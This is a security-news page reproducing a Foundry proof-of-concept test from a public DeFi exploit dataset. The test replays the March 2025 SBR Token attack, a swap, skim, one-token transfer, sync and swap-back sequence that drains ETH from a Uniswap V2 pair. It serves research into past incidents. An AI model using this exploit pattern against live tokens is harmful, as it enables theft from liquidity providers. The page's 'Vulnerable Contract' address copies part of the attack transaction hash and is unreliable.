Skip to content
THREATWIRE

Public reproduction file

src/test/2025-03/SBRToken_exp.sol

Public reproduction file for dataset entry SBR Token.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-03/SBRToken_exp.sol79 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3
4import "forge-std/Test.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : ~ 8.495 ETH
8// Attacker : https://etherscan.io/address/0x7a6488348a7626c10e35df9ae0a2ad916a56a952
9// Attack Contract : https://etherscan.io/address/0x9926796371e0107abe406128fa801fda0e436f44
10// Vulnerable Contract :
11// Attack Tx : https://etherscan.io/tx/0xe4c1aeacf8c93f8e39fe78420ce7a114ecf59dea90047cd2af390b30af54e7b9
13// @Analysis
14// Twitter Guy : https://x.com/TenArmorAlert/status/1897826817429442652
16address constant SBR = 0x460B1AE257118Ed6F63Ed8489657588a326a206D;
17address constant wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
19address constant UniswapV2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
20address constant UniswapV2Pair = 0x3431c535dDFB6dD5376E5Ded276f91DEaA864FF2;
22contract SBRToken_exp is Test {
23 address attacker = makeAddr("attacker");
25 function setUp() public {
26 vm.createSelectFork("mainnet", 21_991_722 - 1);
27 vm.deal(attacker, 1 ether);
29 vm.label(attacker, "Exploiter");
30 vm.label(SBR, "SBR Token");
31 vm.label(wETH, "Wrapped Ether");
32 vm.label(UniswapV2Router, "Uniswap V2: Router 2");
33 vm.label(UniswapV2Pair, "Uniswap V2: Pair");
34 }
36 function testExploit() public {
37 emit log_named_decimal_uint("ETH before attack", attacker.balance, 18);
39 vm.prank(attacker);
40 AttackerC attC = new AttackerC{value: 0.000000000000004 ether}();
41 attC.attack();
42 vm.stopPrank();
44 emit log_named_decimal_uint("ETH after attack", attacker.balance, 18);
45 }
48contract AttackerC {
49 address attacker;
51 constructor() payable {
52 attacker = msg.sender;
53 }
55 function attack() public {
56 address[] memory path = new address[](2);
57 path[0] = wETH;
58 path[1] = SBR;
59 IRouter(UniswapV2Router).swapExactETHForTokensSupportingFeeOnTransferTokens{value: 0.000000000000004 ether}(
60 0, path, address(this), block.timestamp + 100
61 );
63 Uni_Pair_V2(UniswapV2Pair).skim(UniswapV2Pair);
65 IERC20(SBR).transfer(UniswapV2Pair, 1);
67 Uni_Pair_V2(UniswapV2Pair).sync();
69 IERC20(SBR).approve(UniswapV2Router, type(uint256).max);
71 uint256 balance = IERC20(SBR).balanceOf(address(this));
72 // console.log(balance); // 54804369677
73 path[0] = SBR;
74 path[1] = wETH;
75 IRouter(UniswapV2Router).swapExactTokensForETHSupportingFeeOnTransferTokens(
76 balance, 0, path, attacker, block.timestamp + 100
77 );
78 }

Analysis

Dataset entry

Public Foundry test for “SBR Token” (2025-03-07). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x7a6488348a7626c10e35df9ae0a2ad916a56a952

  • Attack Contract

    0x9926796371e0107abe406128fa801fda0e436f44

  • Vulnerable Contract

    0xe4c1aeacf8c93f8e39fe78420ce7a114ecf59dea

  • Attack Tx

    0xe4c1aeacf8c93f8e39fe78420ce7a114ecf59dea90047cd2af390b30af54e7b9

File record

Name
SBR Token
Path
src/test/2025-03/SBRToken_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
780e6b47b202b361166a086c56df90e73019d920
Language
Solidity
Size
80 lines
Date
2025-03-07
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-03/SBRToken_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 780e6b47b202b361166a086c56df90e73019d920, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.